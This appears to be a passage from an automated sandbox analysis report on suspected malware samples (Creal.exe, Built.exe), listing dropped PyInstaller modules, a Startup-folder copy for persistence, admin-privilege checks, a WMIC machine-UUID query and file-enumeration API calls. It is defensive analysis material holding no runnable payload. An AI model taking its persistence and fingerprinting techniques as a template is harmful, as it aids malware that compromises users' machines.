Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_curve448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\rar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_curve448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_curve25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_curve25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_cffi_backend.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI27602\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI56762\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD2.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\Built.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_3-18234
Source: C:\Users\user\Desktop\Creal.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_2-17221

Source: C:\Users\user\Desktop\Built.exe	API coverage: 3.3 %
Source: C:\Users\user\Desktop\Creal.exe	API coverage: 1.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5160	Thread sleep count: 7877 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6496	Thread sleep count: 1614 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 968	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6492	Thread sleep count: 7802 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 380	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 796	Thread sleep count: 1683 > 30

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF60638647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF60638647C
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF60639ECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF60639ECE0
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF6063B3130 FindFirstFileExA,	0_2_00007FF6063B3130
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D9249280 FindFirstFileExW,FindClose,	2_2_00007FF6D9249280
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D92483C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00007FF6D92483C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D9261874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00007FF6D9261874
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E2883C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_00007FF65E2883C0
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E289280 FindFirstFileExW,FindClose,	3_2_00007FF65E289280
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E2A1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00007FF65E2A1874
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E289280 FindFirstFileExW,FindClose,	4_2_00007FF65E289280
